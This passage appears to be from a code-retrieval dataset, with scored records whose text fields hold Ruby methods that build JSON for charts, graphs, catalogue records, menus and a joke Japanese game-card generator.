'bottom-center'\n },\n 'size': {\n 'canvasWidth': #{width},\n 'canvasHeight': #{height},\n 'pieOuterRadius': '#{pieouterradius}',\n 'pieInnerRadius': '#{pieinnerradius}'\n },\n\n 'data': {\n 'sortOrder': 'value-desc',\n 'smallSegmentGrouping': {\n 'enabled': true,\n 'value': #{segmentsize}\n },\n 'content': [\"\n data.each do |x|\n if x[0].include?('.') || type != 2\n s += \"{'label':'#{x[0].split('.').first}','value':#{x[1]},'color':'#{colors[:\"#{x[0]}\"]}'},\"\n else\n s += \"{'label':'#{x[0]}','value':#{x[1]},'color':'black'},\"\n end\n end\n s.chop!\n s + \"\n ]\n },\n callbacks: {\n onMouseoverSegment: function(info) {\n console.log('mouseover:', info);\n },\n onMouseoutSegment: function(info) {\n console.log('mouseout:', info);\n }\n },\n 'labels': {\n 'outer': {\n 'pieDistance': #{piedistance}\n },\n 'inner': {\n 'format': 'value',\n 'hideWhenLessThanPercentage': 3\n },\n 'mainLabel': {\n 'fontSize': #{mainlabelsize}\n },\n 'percentage': {\n 'color': '#ffffff',\n 'decimalPlaces': 0\n },\n 'value': {\n 'color': '#ffffff',\n 'fontSize': #{valuesize}\n },\n 'lines': {\n 'enabled': #{linesenabled}\n },\n 'truncation': {\n 'enabled': true\n }\n },\n 'tooltips': {\n 'enabled': true,\n 'type': 'placeholder',\n 'string': '{label}: {value}, {percentage}%',\n 'styles': {\n 'fadeInSpeed': 586,\n 'backgroundOpacity': 0.7,\n 'color': '#ffffff',\n 'fontSize': #{tooltipsize}\n }\n },\n 'effects': {\n 'pullOutSegmentOnClick': {\n 'effect': 'linear',\n 'speed': 400,\n 'size': #{pulloutsegmentsize}\n }\n },\n 'misc': {\n 'colors': {\n 'background': '##{backgroundcolor}'\n },\n 'gradient': {\n 'enabled': true,\n 'percentage': 100\n }\n }\n });\\n\"\nend", "title": "" }, { "docid": "467b2531665cf937080be91805ec3926", "score": "0.51492757", "text": "def json_attributes\n attributes.merge(\n node_from_id: from_character_id, \n node_to_id: to_character_id,\n strengh: force.abs,\n label: title)\n end", "title": "" }, { "docid": "7069ba8d8eb00680c06d9b5558dc98d1", "score": "0.51468325", "text": "def to_indexed_json\n json = {\n :title => title,\n :name => name,\n :name_sort => name,\n :content => content,\n :summary => summary,\n :topics => topics.collect { |t| t.name },\n :creators => creators.collect { |c| c.name },\n :items => items.collect { |i| i.url },\n \n :format_facet => items.collect { |i| i.item_type},\n :world_maritime_university_program_facet => programs,\n :creator_nationality_facet => creator_countries,\n \n }\n json[:date] = date if date\n json.to_json\n end", "title": "" }, { "docid": "6710779fa94be63c00e9932cb1860d75", "score": "0.51092", "text": "def asigna_pixi_geojson\n file = File.read(Rails.root.join('public', 'topojson', \"#{tipo.estandariza}.geojson\"))\n json = JSON.parse(file)\n json[region_id.to_s]\n end", "title": "" }, { "docid": "55278c5e2ca58e340b9ac8784c805c7f", "score": "0.5099991", "text": "def data\n @map = Map.find(params[:map_id])\n @categories = @map.categories\n p \"--------- @map ---------\"\n p @map.nodes.to_json\n response = { nodes: [], edges: []}\n @map.nodes.each do |n|\n response[:nodes] << {id: n.id, name: n.name, description: n.description}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@map.nodes, rel.end_node.id)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n index_offset = @map.nodes.count \n @categories.each do |n|\n response[:nodes] << {id: n.id, name: n.name}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@categories, rel.end_node.id, index_offset)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n p \"------------ response -----------\"\n puts response.to_json\n respond_to do |format|\n format.html { render 'graph/show'}\n format.json { render json: response}\n end\nend", "title": "" }, { "docid": "b294796b6d928b514967c136b330108c", "score": "0.5098587", "text": "def generate_json(title, freq)\n type = freq.attr('n').gsub(' ', '_') # like fool, aus.001.charactername, female\n display = _make_label(freq.attr('n'), freq.attr('display'), title)\n\n json = {\n \"id\" => freq.attr('n'),\n \"display\" => display,\n \"novel\" => titleize(title),\n \"unique_words\" => freq.attr('countOfUniqueWords'),\n \"speeches\" => freq.attr('speeches'),\n \"words\" => {}\n }\n frequencies = freq.css(\"w\")\n frequencies.length.times do |index|\n child = frequencies[index]\n if child\n word = child.text()\n num = child.attr('freq')\n json[\"words\"][word] = num if (word && num)\n end\n end # end of children looping\n write_to_file(\"public/frequencies/#{title}/#{type}.json\", JSON.pretty_generate(json))\nend", "title": "" }, { "docid": "472c802a7363516deaa9ee6d47c6d0bd", "score": "0.50658566", "text": "def as_json( options={} )\n { :id => id.to_s + \"_fsd\", :name => name, :data => description, :children => functions }\n end", "title": "" }, { "docid": "f99c4ec53eb85981c63a4959c42dba0a", "score": "0.5055473", "text": "def nacti_data(data, pomer)\n poc_nactenych_klauzuli = 0 \n pole_radku = data.split(\"\\n\")\n \n pole_radku.each do |radek|\n if(radek[0]!=\"c\")then #preskakuji komentar\n pole_hodnot = radek.split(' ') # ulozim si hodnoty do pole\n \n case radek[0]\n \n when \"p\"\n #nacteni zakladniho nastaveni instance\n @pocet_promennych = pole_hodnot[2].to_i\n @pocet_klauzuli = pole_hodnot[3].to_i\n # pokud je nastaven pomer (tj. obtiznost instance)\n if((pomer!=-1)&&(@pocet_klauzuli>=@pocet_promennych.to_f*pomer))then\n @pocet_klauzuli = @pocet_promennych.to_f*pomer\n end\n \n when \"w\"\n #nacitani vahoveho vektoru\n citac = 1\n while(citac < pole_hodnot.length)do\n @pole_vah[citac-1] = pole_hodnot[citac].to_i\n citac +=1\n end\n\n # when \"%\" # pouze pro kontrolu\n #ukoncovaci znak\n # puts \"%\" \n \n else\n #nacitani klauzuli\n if(poc_nactenych_klauzuli<@pocet_klauzuli)then\n citac = 0\n while(citac < pole_hodnot.length-1)do\n if(@klauzule[poc_nactenych_klauzuli]==nil)then\n nove_pole = []\n @klauzule[poc_nactenych_klauzuli]= nove_pole\n end\n @klauzule[poc_nactenych_klauzuli][@klauzule[poc_nactenych_klauzuli].length] = pole_hodnot[citac].to_i\n citac +=1\n end\n poc_nactenych_klauzuli+=1\n end \n end\n end\n end \n end", "title": "" }, { "docid": "1f85fb28190840566ab2c5452c33b16b", "score": "0.5054157", "text": "def prepare_json\n\t\tjson_header\n\t\tjson_assemble\n\t\t#order_by_line_id(@file)\n\t\t#json_sections\n\t\t#json_order_line_by_section\n\n\tend", "title": "" }, { "docid": "92dcd69b43f797a08e650d6a423bd0ea", "score": "0.5048542", "text": "def to_json\n a = @hexes.map{ |e| { q: e[0][0], r: e[0][1], data: e[1].data } }\n a.to_json\n end", "title": "" }, { "docid": "ac81a1771ef0eaa4c8afe1da6825491d", "score": "0.5048436", "text": "def as_json\n\t\t{\n\t\t\t:id => self.id,\n\t\t\t:nombre => self.nombre,\n\t\t\t:abreviacion => self.abreviacion,\n\t\t}\t\t\n\tend", "title": "" }, { "docid": "9689bc575c2c5b72c91acc1a39429274", "score": "0.50462574", "text": "def recover_data\n subjects = []\n dt = nil\n begin\n File.open('data', 'r') do |file|\n file.each_line do |line|\n next if line.nil?\n if /^[0-9]+\\.[0-9]+/.match(line)\n code, name = line.strip.split('|')\n subj = Subject.new(code, name)\n subjects << subj\n dt = DataExtractor.new(subj)\n elsif /^[A-Z]+$/.match(line)\n dt.handle_event(:comision, line.strip)\n elsif /(Lunes|Martes|Miércoles|Jueves|Viernes|Sábado|Domingo)/.match(line)\n dt.handle_event(:dia, line.strip)\n elsif /^[0-9]+:[0-9]+$/.match(line)\n dt.handle_event(:hora, line.strip)\n end\n end\n end\n File.open('data.json', 'w') do |file|\n file.write(create_subjects_json(subjects))\n end\n rescue StandardError\n puts 'Archivo corrupto.'\n end\n subjects\nend", "title": "" }, { "docid": "02f1b265304f8e1a959b82e04aa354ec", "score": "0.50281227", "text": "def save_thought(n_dink)\n\t#format thought\n\tputs n_dink\n\t#n_dink[\"duedate\"] = ;\n\tn_dink[\"timestamp\"] = Time.now.getutc\n\tn_dink[\"id\"] = (Random.rand() * 10000).to_i\n\t#read json\n\tfile = File.read(\"./public/history.json\")\n\tdata_hash = JSON.parse(file)\n\tnew_data = []\n\tfor dink in data_hash\n\t\tnew_data.push(dink)\n\tend\n\tnew_data.push(n_dink)\n\tnew_data = new_data.sort_by { |hash| hash['duedate'].tr('-','').to_i }\n\tFile.open(\"./public/history.json\",\"w\") do |file|\n\t\tfile.write(new_data.to_json)\n\tend\n\tnew_data\nend", "title": "" }, { "docid": "d4e2f9543261388c67358eb0acb718a4", "score": "0.50264966", "text": "def tree_results(word_data)\n #get the data ready for d3 view\n tree_data = {\"name\"=> (@topic.name), \"info\" => \"tst\", \"children\" => []}\n \n word_data.each do |text, v|\n tree_data[\"children\"].push({\"name\" => text.to_s, \"children\" => []})\n end\n \n tree_data[\"children\"][0][\"children\"] << Hash[\"name\", word_data[:word]]\n \n word_data[:definitions].each do |text|\n tree_data[\"children\"][1][\"children\"] << Hash[\"name\", text[\"text\"]]\n end\n \n word_data[:word_associations].each do |text|\n tree_data[\"children\"][2][\"children\"] << Hash[\"name\", text[\"relationshipType\"], \"children\", []]\n end \n if word_data[:reverse_definitions][\"results\"].nil? \n tree_data[\"children\"][3][\"children\"] << nil\n else\n word_data[:reverse_definitions][\"results\"].each do |result| \n tree_data[\"children\"][3][\"children\"] << Hash[\"name\", result[\"text\"]]\n end\n end\n i = 0\n word_data[:word_associations].each do |text|\n text[\"words\"].each do |word|\n tree_data[\"children\"][2][\"children\"][i][\"children\"] << Hash[\"name\", word]\n end\n i+=1\n end\n #reduce duplicates in word_association hash\n tree_data[\"children\"][3][\"children\"].uniq!\n tree_data[\"children\"][2][\"children\"].uniq!\n return tree_data\n end", "title": "" }, { "docid": "d54611479cd59d666bbe97989a845b74", "score": "0.5025141", "text": "def as_json(*)\n {\n JSON.create_id => self.class.name,\n node_name: node_name, node_type: node_type,\n node_count: node_count, nodes: nodes,\n icons: icons, title: title,\n note: note, io: io\n }\n end", "title": "" }, { "docid": "7fe0b9a3c4c69c1cf090a98d5f934a74", "score": "0.5024338", "text": "def as_json(*args)\n {\n 'image' => parent_image,\n 'url' => url,\n 'path' => path,\n 'pathWithQuery' => path_with_query,\n 'width' => width,\n 'height' => height,\n 'x1' => x1,\n 'x2' => x2,\n 'y1' => y1,\n 'y2' => y2\n }\n end", "title": "" }, { "docid": "efd523fa2ba921b7f5ad0c2a9e7a3772", "score": "0.5015726", "text": "def show\n # v1 based on each person's first level relationship\n # @targethash=@donor.relationships.map{|a| a.slice(:target)}\n # @targetidvalues=@targethash.map{|x| x[:target]}\n # @nodeid=@targetidvalues.push(@donor.id)\n\n # @donors=Donor.where(id: @nodeid)\n # # @relationshiphash1=@donor.relationships.as_json.map{|a| a.slice('donor_id', 'target','link_description')}\n # @relationship_hash_array= @donor.relationships.collect{|relationship| {from: relationship.donor_id, to: relationship.target,label: relationship.link_description, arrows:'to'}}.to_json\n # # @donor_hash_array= @donors.collect{|donor| {id: donor.id, label: donor.name, shape: 'circularImage'}}.to_json\n # @donor_hash_array= @donors.collect{|donor| {id: donor.id, label: donor.name, shape: 'circularImage', image: donor.image.url(:thumb)}}.to_json\n \n #v2 everyone's show page have the whole picture \n\n @donors=Donor.all\n @donor_hash_array= [ \"id\": @donor.id,\"label\": @donor.name, shape: 'circularImage', \"image\":@donor.image.url(:thumb)].to_json\n @donors_hash_array= @donors.collect{|donor| {id: donor.id, label: donor.name, shape: 'circularImage', image: donor.image.url(:thumb)}}.to_json\n @relationships=Relationship.all\n @relationship_hash_array= @relationships.collect{|relationship| {from: relationship.donor_id, to: relationship.target,label: relationship.link_description, arrows:'to'}}.to_json\n \n end", "title": "" }, { "docid": "76baaf225f298becaf44f9a732d81081", "score": "0.5013901", "text": "def BuscarTodosArbolJsonSinHref(menu)\n @opcionMenus = OpcionMenu.new\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id, 0).order(orden: :asc)\n totaldeRegistros = @opcionMenus.length;\n @tira='[ '\n if totaldeRegistros>0 \n j=0\n @opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n end\n \n self.ObtenerHijosSinHref(menu,arbol.id)\n j=j+1\n if j<totaldeRegistros\n @tira = @tira+ \" }, \"\n else\n @tira = @tira+\" } ] \"\n end\n end\n else\n @tira= @tira+\"{ { text: 'No hay datos', id: '\" + totaldeRegistros.to_s + \"', href: '', leaf: true } } ]\"\n end\n return @tira\n end", "title": "" }, { "docid": "b43ca1f90f8938a5483b1632dfdbc694", "score": "0.5011173", "text": "def json()\n @tiles = @ir.map{|e| e.json}\n @event_frame = @tiles.map{|t| t.id }\n end", "title": "" }, { "docid": "c34cdf1193de2143627548ecd61adc1e", "score": "0.5010504", "text": "def to_json\n i = 0\n datas = Array.new\n td = Array.new\n\n ds = @data\n ds.each_with_index do |row,index|\n data = \"{\"\n td.clear\n row.each_pair do |key,value|\n td.push(\"#{format(key)}: #{format(value)}\")\n end\n\n data +=td.join(\",\")\n data += \"}\"\n datas.push(data)\n end\n data = \"[#{datas.join(\",\")}]\"\n data\n end", "title": "" }, { "docid": "b669bb7d379a56d842f707945b1d0d02", "score": "0.5010339", "text": "def placeholder2json(ph)\r\n articles = ph[2]? '[\"'+ph[2].join('\",\"')+'\"]': 'null'\r\n \"[\\\"#{ph[0]}\\\", #{articles}, \\\"#{ph[3]}\\\", \\\"#{ph[4]}\\\"]\"\r\nend", "title": "" }, { "docid": "fdff1ec9ec07e7cc42152f9027d80370", "score": "0.49943557", "text": "def json(data, *)\n build_string(data, \"\\n\", '{', '}') do |key, value, index:, last:, first:|\n json_row(key, value, index: index, first: first, last: last)\n end\n end", "title": "" }, { "docid": "d6834feb41d2056639d04ccd57797cac", "score": "0.49932387", "text": "def jsonflattree2gv(hash)\n @gv = GraphViz.new(:G, type: :digraph, rankdir: @rankdir)\n\n # pass 1 => node\n hash.each do |k, v|\n children_type = v['condition']\n children_type ||= 'or'\n @node_list[k] = add_node(k, v, children_type)\n end\n\n # pass 2 => edge\n hash.each do |k, v|\n children_type = v['condition']\n children_type ||= 'or'\n parent = v['child_of']\n add_edge(k, v, children_type, @node_list[parent], @node_list[k]) unless @node_list[parent].nil?\n end\n end", "title": "" }, { "docid": "e369c9926c92aec7be6b9b8711bbadfd", "score": "0.49886113", "text": "def insert_line (json, gd_id)\n json.default = [];\n\n # Get the oclc value, look up a str_id for it and write to oclc load file together with the gd_id and marc_field.\n json['oclc'].each do |oclc|\n marc_field = oclc.keys.first;\n val = oclc[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['oclc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n # Get the sudoc value, look up a str_id for it and write to sudoc load file together with the gd_id and marc_field.\n json['sudoc'].each do |sudoc|\n marc_field = sudoc.keys.first;\n val = HTPH::Hathinormalize.sudoc(sudoc[marc_field].to_s);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['sudoc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n # ... and so on for isbn, issn, lccn, title, enumc, pubdate and publisher.\n json['isbn'].each do |isbn|\n marc_field = isbn.keys.first;\n val = isbn[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['isbn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['issn'].each do |issn|\n marc_field = issn.keys.first;\n val = issn[marc_field].to_s;\n next if val.empty?;\n next if val == '1'; # Common crud. Perhaps no longer.\n\n str_id = get_str_id(val);\n @loadfiles['issn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['lccn'].each do |lccn|\n marc_field = lccn.keys.first;\n val = lccn[marc_field].to_s;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['lccn'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['title'].each do |title|\n marc_field = title.keys.first;\n val = HTPH::Hathinormalize.title(title[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['title'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['enumc'].each do |enumc|\n marc_field = enumc.keys.first;\n val = HTPH::Hathinormalize.enumc(enumc[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['enumc'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['pubdate'].each do |pubdate|\n marc_field = pubdate.keys.first;\n val = pubdate[marc_field].to_s;\n # Date normalization?\n next if val.nil?\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['pubdate'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['publisher'].each do |publisher|\n marc_field = publisher.keys.first;\n val = HTPH::Hathinormalize.agency(publisher[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['publisher'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\nend", "title": "" }, { "docid": "55232ea0775f4ffd37c3b564012245d7", "score": "0.49845815", "text": "def as_json\n {\n breed: breed,\n size: size,\n grooming: grooming,\n bark_level: bark_level,\n kids: kids,\n pets: pets,\n exercise: exercise,\n description: description,\n image: image\n # incompatibilities: incompatibilities\n }\n end", "title": "" }, { "docid": "d24c728be566b11804047df5584bc00a", "score": "0.49747878", "text": "def to_indexed_json\n to_json( \n #:only => [ :id, :name, :normalized_name, :url ],\n :methods => [:image_url, :initiator_name, :assigned_user_name,:title, :notable_type_data, :notable_type_title]\n )\n end", "title": "" }, { "docid": "b007900901db4abef79802054bd8f3c5", "score": "0.49745247", "text": "def as_json(_opts = {})\n # Rails.logger.debug \"Tag #{id}: as_json\"\n hash = super(_opts)\n hash.reject! {|k,v| v.blank? }\n hash[:gml] = self.gml_hash && self.gml_hash['gml']\n hash[:gml] ||= self.gml_hash && self.gml_hash['GML']\n hash[:gml] ||= {}\n hash\n end", "title": "" }, { "docid": "3419f351baebee4e1bc033dfdac651f6", "score": "0.49527368", "text": "def show\n @factura = Factura.find(params[:id])\n @renglon = @factura.renglon_facturas;\n @result = @factura.to_json( :include => [ :renglon_factdetalles ,:comerciante , :sucursal ,:moneda ],:methods => [:total_sinimpuestos,:total_impuestos]);\n hash = JSON.parse(@result)\n\n hash[\"renglon_facturas\"] = JSON.parse(@renglon.to_json(:methods => :nombrearticulo));\n # hash[\"total_impuestos\"] = JSON.parse(@factura.to_json(:methods => :total_impuestos));\n # hash[\"total_sin_impuestos\"] = JSON.parse(@factura.to_json(:methods => :total_sinimpuestos));\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: hash.to_json()}\n end\n end", "title": "" }, { "docid": "dd29f3079268173340b72bc035f7b6d6", "score": "0.49428862", "text": "def generateJSON\n \n tableau_url = get_townhall_urls\n #/ pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie\n File.open(\"../db/emails.json\",\"w\") do |f|\n for townhall_url in tableau_url do\n f.write(JSON.pretty_generate(get_townhall_email(townhall_url)))\n end\n end\n\n end", "title": "" }, { "docid": "4e7e2d1a5840743d43e1b88721497f6b", "score": "0.4939993", "text": "def json()\n {\\\n :type => \"planned\"\\\n , :target => @recognize.json\\\n , :path => @move.json\\\n }\n end", "title": "" }, { "docid": "71c47f9c45282a21b2938521d766d4e9", "score": "0.49281767", "text": "def show\n type = @picture.temp_type\n key = @picture.key\n # ToDo ファットコントローラを殺す\n case type\n when 0\n json = ' {\n \"temp\": \"1 に 2 すんでいる。 3 が 4 ため 5 を 6 という。 \",\n \"1\": [\"もりのなか\", \"うみのなか\", \"くうちゅう\", \"うちゅう\", \"なぞのばしょ\",\n \"スカートのなか\", \"くさむら\", \"さばく\", \"どくぬま\", \"みずうみ\", \"どうくつ\",\n \"シオンタウン\", \"カミナリぐも\", \"マグマの なか\", \"1ごうかん\", \"いくたりょくち\",\n \"2じげん\", \"たんまつしつ\", \"グリーントップ\", \"マルメ\"\n ],\n \"2\": [\"ひとりで\", \"むれをなして\", \"なかまと\", \"かぞくと\", \"しゅうだんで\", \"ぼっちで\",\n \"こいびとと\", \"ともだちと\"\n ],\n \"3\": [\"ウロコ\", \"きんにく\", \"ツノ\", \"トゲ\", \"しっぽ\", \"つばさ\", \"さいぼう\", \"はっぱ\",\n \"はなびら\", \"たいもう\", \"ツメ\", \"ヒゲ\", \"みずかき\", \"ないぞう\", \"くち\", \"おしり\",\n \"しょくしゅ\", \"ベロ\", \"せびれ\"\n ],\n \"4\": [\"かたい\", \"はったつしている\", \"ふくらんでいる\", \"くさい\", \"うつくしい\",\n \"おおきくなる\", \"ぜんしんを おおう\", \"つよい\", \"するどい\", \"たくましい\",\n \"すけている\", \"ぬれている\", \"すごい\"\n ],\n \"5\": [\"インドゾウ\", \"ドラムかん\", \"てっとう\", \"てっこつ\", \"ほかの ポケモン\",\n \"じゅうでんき\", \"メガネ\", \"きんメダリスト\", \"ゴローン\", \"イシツブテ\",\n \"ユーエスビー\", \"カイリキー\", \"にんげん\", \"1トンの いわ\", \"モンスターボール\",\n \"せいみつきかい\", \"はつでんしょ\", \"タマタマ\", \"せかいチャンピオン\", \"かだい\",\n \"マックブック\"\n ],\n \"6\": [\"もちあげる\", \"へしおる\", \"おそう\", \"あふれさせる\", \"たべる\", \"つくる\", \"こわす\",\n \"はかいする\", \"つかまえる\", \"のみこむ\", \"まっぷたつにする\", \"もやす\",\n \"なぎたおす\", \"あやつる\", \"ぜつめつさせる\", \"ほろぼす\"\n ]\n }'\n json = JSON.parse(json)\n @data = {\n text: json[\"temp\"].gsub('1', json[\"1\"].sample).gsub('2', json[\"2\"].sample).gsub('3', json[\"3\"].sample).gsub('4', json[\"4\"].sample).gsub('5', json[\"5\"].sample).gsub('6', json[\"6\"].sample),\n ashi: rand(1..9),\n weight: rand(0..256),\n tall: rand(0..300).to_f / 100.0,\n num: \"%03d\" % rand(1..999),\n type: %w(ねがく がくせい うぇい).sample,\n }\n render layout: 'pk' and return\n when 1\n json = '{\n \"temp\": \"1で2をしていたところ なかまになった。\\nとくぎは3で  こうぶつは4である。\\nせいちょうすると 5と6がおおきくのびていく。\",\n \"1\": [\"アトリウム\", \"ビュー\", \"キャビン\", \"スエヒロ\", \"ホワイエ\", \"ぶしつ\"],\n \"2\": [\"かだい\", \"どくしょ\", \"おひるね\", \"べんきょう\", \"おしゃべり\", \"ゲーム\", \"ダンス\", \"ランチ\", \"ディナー\"],\n \"3\": [\"メラ\", \"メラゾーマ\", \"ヒャド\", \"マヒャド\", \"バギ\", \"バギクロス\", \"イオ\", \"イオグランデ\", \"ギガデイン\", \"マヒャデドス\", \"ホイミ\", \"ベホマラー\", \"ザオリク\", \"マホカンタ\", \"バイキルト\", \"マダンテ\"],\n \"4\": [\"やくそう\", \"アモールのみず\", \"いやしぐさ\", \"せかいじゅのは\", \"まほうのせいすい\", \"どくけしそう\", \"ばんのうやく\", \"いのちのきのは\", \"まんげつそう\", \"きつけぐさ\", \"ちからのたね\", \"まもりのたね\", \"スタミナのたね\", \"かしこさのたね\"],\n \"5\": [\"HP\", \"MP\", \"ちから\", \"すばやさ\", \"たいりょく\"],\n \"6\": [\"かしこさ\", \"うんのよさ\", \"さいだいHP\", \"さいだいMP\", \"こうげきりょく\", \"しゅびりょく\"]\n }'\n json = JSON.parse(json)\n @data = {\n text: json[\"temp\"].gsub('1', json[\"1\"].sample).gsub('2', json[\"2\"].sample).gsub('3', json[\"3\"].sample).gsub('4', json[\"4\"].sample).gsub('5', json[\"5\"].sample).gsub('6', json[\"6\"].sample),\n sex: %w(おとこ おんな ふめい).sample,\n job: %w(がくせい にーと).sample,\n lv: rand(0..99),\n hp: rand(1..255),\n mp: rand(1..255),\n power: rand(1..255),\n speed: rand(1..255),\n pp: rand(1..255),\n clever: rand(1..255),\n lucky: rand(1..255),\n exp: rand(1..10000),\n }\n render layout: 'dq' and return\n when 2\n json = '{\"ability\":[\"ファンファーレ\",\"ネクロマンス\",\"ラストワード\",\n \"覚醒\",\"カウントダウン\",\"復讐\",\"土の秘術\",\"レポート提出時\",\"授業開始時\",\"授業終了時\"],\n \"secondAbility\":[\"守護\",\"突進\",\"疾走\",\"ドレイン\",\"潜伏\",\"必殺\",\" \"],\n \"nickname\" : [\"漆黒ノ戯者\",\"みんなのANGEL\",\"八方美人\",\"わがまま\",\"純潔ノ護者\",\"恋に恋する\",\"暗殺者\",\"孤高の狼\",\"賢者\",\"〆切絶護シ者\",\"単位堕落者\",\n \"髪金染シ者\",\"課題囚ノ身\",\"頭ハッピーターン\",\"エルフの少女\",\"リンゴン使い\",\"森隠れの\",\"変態魔人\",\"フェアリー\",\"妄想恋愛熟練\",\"彼女(借り)\",\n \"蝿の王\",\"んンゴゴォw\",\"カレーパン\",\"眷属の使い\"],\n \"cont\":[\"サークル姫囲い隊を場が上限枚数になるまで出す。(上限は無限)\",\"とりあえず教室に着いたらTwitterを開く。\",\"彼女ができる(画面の中に)。\",\n \"溜めてたリフレクションシートで感想を提出する。\",\"般教の隣に可愛い他学部生2体を出す。\",\"よっ友の他学部の友達がイケメンになる。\",\n \"単位を落とす\",\"ダイリ・シュッセキマン1体を出す。\",\"トイレでリバースして蘇る。そう、俺は不死鳥。リザレクション!\",\n \"レポート出すまで欠席扱いされる。\",\"同じ教室にいるのに気づかれない。\",\"一般教養の教室ではMBAを使えない。\",\n \"何故かテンションが上がる夜3時。\",\"モンスターエナジーを補給してまだ舞える。\",\"授業終わり前かがみ男子。\",\n \"年齢=彼女いない歴が+1される。\",\"レポートの提出期限が少しずつ迫ってくる。\",\"1限英語の欠席数が+1される。\",\n \"クリスマス、周りにはカプゥールばかり。\",\"ヴァンピィちゃんの可愛さにやられる。\",\"Gold Fingerによって絶対に〇〇される。\",\n \"再再履。君(単位)の名は...。\",\"成績59点で落とした教授許さない...。\",\"100円朝食目の前で終了する。\",\n \"カーディガンヴァンピィちゃんを出す。\",\"カーディガンJKを出す。\",\"カーディガンJCを出す。\",\n \"提出期限が昨日だったことに気づく。\",\"文字数が足りないことに気づく。\",\"CoursePowerが重くなる。\",\n \"ぽやしみww 単位が消滅する。\",\"PCの起動音を鳴り響かせる。\",\"Twitterを開いてTLチェック。\",\n \"ぽきたww リフレクションシートが出せなかった。\",\"Twitterを開いてTLをチェックする。\",\"授業内課題に気づく。\"]}'\n json = JSON.parse(json)\n @data = {\n cost: rand(1..10),\n at: rand(0..10),\n hp: rand(0..10),\n class: %w(学生 ネ学生 うぇい).sample,\n at_af: rand(0..10),\n hp_af: rand(0..10),\n nickname: json[\"nickname\"].sample,\n ability: json[\"ability\"].sample,\n sec_ability: json[\"secondAbility\"].sample,\n cont: json[\"cont\"].sample\n }\n render layout: 'sv' and return\n when 3\n json = ' {\"nickname\" : [\"清純令嬢\",\"ふわふわ天使\",\"単位パーティー\",\"履中・モード\",\"サンシャインビーチ\",\"永遠の17さい\",\"メルヘンチェンジ\",\"永遠のプリンセス\",\"鳳の思い出\",\"貴方を想う\",\"カリスマギャル\",\n \"はじめてのデート\",\"課題パーティー\",\"ショコラプリンセス\",\"夢のひととき\",\"スウィートガール\",\"ハッピースマイル\",\"純愛少女\",\"片思いの\",\"妄想狂想曲\",\"赤い糸\",\n \"アニメオタク\",\"焼肉キングダム\",\"憧れの先輩\",\"気になる転校生\",\"結婚前夜\",\"見習いパティシエ\",\"花屋のお姉さん\",\"アルバイター\",\"新社会人\",\"歌い手\",\"プリティガール\",\"恋する乙女\",\n \"弾ける若さ\",\"みんなのお姉さん\",\"女子会モード\",\"バラ色人生\",\"恋煩い\",\"お家にかえりたい\",\"セクシーガール\",\"落単パーティー\",\"恋知らぬ少女\",\"甘い誘惑\",\"リズミカルガール\",\"魅惑の乙女\",\"終電を逃す\"],\n \"lines\" : [\"みんなに届け!ラブリーハートっ♪キュートでピュアな新人アイドルですっ!これからもずっとずっと、幸せな時間を私と一緒に過ごしましょうねっ!\",\n \"私、やっとアイドルになれたんですね…!緊張でドキドキした気持ちもありますけど、それ以上に嬉しくて楽しくて!ステージ、見ていてくださいね!\",\n \"そのとき、みんなの声援でメルヘンチェンジしたのだっ!みんなー、キュートパワーで私に応援よろしくねーっ。さぁ、いっしょにーっ、ブイッ♪\",\n \"新しい私に挑戦してみたい。アイドルになるのもひとつの経験だと思っています。でもちょっとだけ緊張、プロデューサーさん、私の成長、見守っててくださいね\",\n \"かわいいもの、だーい好き!アイドルってかわいい服着られて、かわいい歌とかダンス、やらせてもらえるんだよね!わーいっ!はやくアイドルになりたいな!\",\n \"アイドルになってもボクのカワイさは変わらない、いや、今まで以上ですね!プロデューサーさんも喜んでください!ボクのカワイさをみんなに伝えるんです♪\",\n \"みんなお待たせぇ☆スウィーティーな、しゅがーはぁとの登場だよ♪みんなに幸せのハートをプレゼントしちゃう☆そぉーれっ☆ってほらそこ避けんなぁ〜♪\",\n 